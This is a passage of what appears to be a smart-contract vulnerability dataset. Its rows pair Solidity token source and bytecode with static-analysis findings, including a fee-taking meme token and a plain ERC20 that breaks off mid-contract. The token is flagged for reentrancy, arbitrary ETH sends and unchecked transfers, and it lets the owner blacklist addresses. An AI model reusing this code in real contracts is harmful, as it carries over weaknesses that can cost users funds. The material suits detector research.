0405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a72305820c5656102975286eaae6a0eceb676d26572c0c8e3ad0849e67b98d3cd937b375f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}} | 302 |
0x18a0df010ab3669feab1a77a945e058c0f2e089e | /**
*Submitted for verification at Etherscan.io on 2021-10-11
*/
/*
Vikings Warriors
Total 1 000 000 000
Burned 30%
4% Marketing, Buyback
2% to LP
2% Reflections
TG t.me/VikingsToken
Website: vikingscon.quest
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract VikingsWarriors is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "@VikingsToken";
string private constant _symbol = "Vikings";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function mtx(uint256 maxTxpc) external {
require(_msgSender() == _teamAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102cb578063b515566a146102eb578063c3c8cd801461030b578063c9567bf914610320578063dd62ed3e1461033557600080fd5b806370a082311461023e578063715018a61461025e5780638da5cb5b1461027357806395d89b411461029b57600080fd5b806323b872dd116100d157806323b872dd146101cd578063313ce567146101ed5780635932ead1146102095780636fc3eaec1461022957600080fd5b806306fdde031461010e578063095ea7b3146101565780630e3e65961461018657806318160ddd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c202b34b5b4b733b9aa37b5b2b760991b60208201525b60405161014d9190611912565b60405180910390f35b34801561016257600080fd5b50610176610171366004611799565b61037b565b604051901515815260200161014d565b34801561019257600080fd5b506101a66101a13660046118cb565b610392565b005b3480156101b457600080fd5b50670de0b6b3a76400005b60405190815260200161014d565b3480156101d957600080fd5b506101766101e8366004611758565b610418565b3480156101f957600080fd5b506040516009815260200161014d565b34801561021557600080fd5b506101a6610224366004611891565b610481565b34801561023557600080fd5b506101a66104d2565b34801561024a57600080fd5b506101bf6102593660046116e5565b6104ff565b34801561026a57600080fd5b506101a6610521565b34801561027f57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a757600080fd5b5060408051808201909152600781526656696b696e677360c81b6020820152610140565b3480156102d757600080fd5b506101766102e6366004611799565b610595565b3480156102f757600080fd5b506101a66103063660046117c5565b6105a2565b34801561031757600080fd5b506101a6610638565b34801561032c57600080fd5b506101a661066e565b34801561034157600080fd5b506101bf61035036600461171f565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610388338484610a30565b5060015b92915050565b600c546001600160a01b0316336001600160a01b0316146103b257600080fd5b600081116103bf57600080fd5b6103dd6127106103d7670de0b6b3a764000084610b54565b90610bda565b60108190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000610425848484610c1c565b610477843361047285604051806060016040528060288152602001611afe602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102e565b610a30565b5060019392505050565b6000546001600160a01b031633146104b45760405162461bcd60e51b81526004016104ab90611967565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104f257600080fd5b476104fc81611068565b50565b6001600160a01b03811660009081526002602052604081205461038c906110ed565b6000546001600160a01b0316331461054b5760405162461bcd60e51b81526004016104ab90611967565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610388338484610c1c565b6000546001600160a01b031633146105cc5760405162461bcd60e51b81526004016104ab90611967565b60005b8151811015610634576001600a60008484815181106105f0576105f0611aae565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062c81611a7d565b9150506105cf565b5050565b600c546001600160a01b0316336001600160a01b03161461065857600080fd5b6000610663306104ff565b90506104fc8161116a565b6000546001600160a01b031633146106985760405162461bcd60e51b81526004016104ab90611967565b600f54600160a01b900460ff16156106f25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104ab565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072e3082670de0b6b3a7640000610a30565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561076757600080fd5b505afa15801561077b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079f9190611702565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107e757600080fd5b505afa1580156107fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081f9190611702565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561086757600080fd5b505af115801561087b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089f9190611702565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108cf816104ff565b6000806108e46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561094757600080fd5b505af115801561095b573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061098091906118e4565b5050600f805467016345785d8a000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109f857600080fd5b505af1158015610a0c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063491906118ae565b6001600160a01b038316610a925760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104ab565b6001600160a01b038216610af35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104ab565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600082610b635750600061038c565b6000610b6f8385611a47565b905082610b7c8583611a25565b14610bd35760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104ab565b9392505050565b6000610bd383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f3565b6001600160a01b038316610c805760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104ab565b6001600160a01b038216610ce25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104ab565b60008111610d445760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104ab565b6000546001600160a01b03848116911614801590610d7057506000546001600160a01b03838116911614155b15610fd157600f54600160b81b900460ff1615610e57576001600160a01b0383163014801590610da957506001600160a01b0382163014155b8015610dc35750600e546001600160a01b03848116911614155b8015610ddd5750600e546001600160a01b03838116911614155b15610e5757600e546001600160a01b0316336001600160a01b03161480610e175750600f546001600160a01b0316336001600160a01b0316145b610e575760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b60448201526064016104ab565b601054811115610e6657600080fd5b6001600160a01b0383166000908152600a602052604090205460ff16158015610ea857506001600160a01b0382166000908152600a602052604090205460ff16155b610eb157600080fd5b600f546001600160a01b038481169116148015610edc5750600e546001600160a01b03838116911614155b8015610f0157506001600160a01b03821660009081526005602052604090205460ff16155b8015610f165750600f54600160b81b900460ff165b15610f64576001600160a01b0382166000908152600b60205260409020544211610f3f57600080fd5b610f4a426078611a0d565b6001600160a01b0383166000908152600b60205260409020555b6000610f6f306104ff565b600f54909150600160a81b900460ff16158015610f9a5750600f546001600160a01b03858116911614155b8015610faf5750600f54600160b01b900460ff165b15610fcf57610fbd8161116a565b478015610fcd57610fcd47611068565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061101357506001600160a01b03831660009081526005602052604090205460ff165b1561101c575060005b61102884848484611321565b50505050565b600081848411156110525760405162461bcd60e51b81526004016104ab9190611912565b50600061105f8486611a66565b95945050505050565b600c546001600160a01b03166108fc611082836002610bda565b6040518115909202916000818181858888f193505050501580156110aa573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6110c5836002610bda565b6040518115909202916000818181858888f19350505050158015610634573d6000803e3d6000fd5b60006006548211156111545760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104ab565b600061115e61134d565b9050610bd38382610bda565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b2576111b2611aae565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561120657600080fd5b505afa15801561121a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123e9190611702565b8160018151811061125157611251611aae565b6001600160a01b039283166020918202929092010152600e546112779130911684610a30565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112b090859060009086903090429060040161199c565b600060405180830381600087803b1580156112ca57600080fd5b505af11580156112de573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b600081836113145760405162461bcd60e51b81526004016104ab9190611912565b50600061105f8486611a25565b8061132e5761132e611370565b611339848484611393565b806110285761102860066008556002600955565b600080600061135a61148a565b90925090506113698282610bda565b9250505090565b6008541580156113805750600954155b1561138757565b60006008819055600955565b6000806000806000806113a5876114ca565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113d79087611527565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114069086611569565b6001600160a01b038916600090815260026020526040902055611428816115c8565b6114328483611612565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161147791815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006114a58282610bda565b8210156114c157505060065492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006114e78a600854600954611636565b92509250925060006114f761134d565b9050600080600061150a8e878787611685565b919e509c509a509598509396509194505050505091939550919395565b6000610bd383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102e565b6000806115768385611a0d565b905083811015610bd35760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104ab565b60006115d261134d565b905060006115e08383610b54565b306000908152600260205260409020549091506115fd9082611569565b30600090815260026020526040902055505050565b60065461161f9083611527565b60065560075461162f9082611569565b6007555050565b600080808061164a60646103d78989610b54565b9050600061165d60646103d78a89610b54565b905060006116758261166f8b86611527565b90611527565b9992985090965090945050505050565b60008080806116948886610b54565b905060006116a28887610b54565b905060006116b08888610b54565b905060006116c28261166f8686611527565b939b939a50919850919650505050505050565b80356116e081611ada565b919050565b6000602082840312156116f757600080fd5b8135610bd381611ada565b60006020828403121561171457600080fd5b8151610bd381611ada565b6000806040838503121561173257600080fd5b823561173d81611ada565b9150602083013561174d81611ada565b809150509250929050565b60008060006060848603121561176d57600080fd5b833561177881611ada565b9250602084013561178881611ada565b929592945050506040919091013590565b600080604083850312156117ac57600080fd5b82356117b781611ada565b946020939093013593505050565b600060208083850312156117d857600080fd5b823567ffffffffffffffff808211156117f057600080fd5b818501915085601f83011261180457600080fd5b81358181111561181657611816611ac4565b8060051b604051601f19603f8301168101818110858211171561183b5761183b611ac4565b604052828152858101935084860182860187018a101561185a57600080fd5b600095505b8386101561188457611870816116d5565b85526001959095019493860193860161185f565b5098975050505050505050565b6000602082840312156118a357600080fd5b8135610bd381611aef565b6000602082840312156118c057600080fd5b8151610bd381611aef565b6000602082840312156118dd57600080fd5b5035919050565b6000806000606084860312156118f957600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561193f57858101830151858201604001528201611923565b81811115611951576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ec5784516001600160a01b0316835293830193918301916001016119c7565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a2057611a20611a98565b500190565b600082611a4257634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a6157611a61611a98565b500290565b600082821015611a7857611a78611a98565b500390565b6000600019821415611a9157611a91611a98565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104fc57600080fd5b80151581146104fc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220029d7f4b6ff85c604bfb9056990a1dc5770c25193d380b519b4561f334ac29be64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 303 |
0xb7a4ec186edc981abca08c30bf599ca025c672d2 | /**
*Submitted for verification at Etherscan.io on 2020-10-22
*/
pragma solidity ^0.7.1;
// SPDX-License-Identifier: MIT
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals, uint256 totalSupply) {
_name = name;
_symbol = symbol;
_decimals = decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = _balances[msg.sender].add(_totalSupply);
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @return the name of the token.
*/
function name() public view returns(string memory) {
return _name;
}
/**
* @return the symbol of the token.
*/
function symbol() public view returns(string memory) {
return _symbol;
}
/**
* @return the number of decimals of the token.
*/
function decimals() public view returns(uint8) {
return _decimals;
}
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view override(IERC20) returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
override(IERC20)
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public override(IERC20) returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public override(IERC20) returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
override(IERC20)
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(
address spender,
uint256 addedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(
address spender,
uint256 subtractedValue
)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (
_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(value <= _balances[from]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
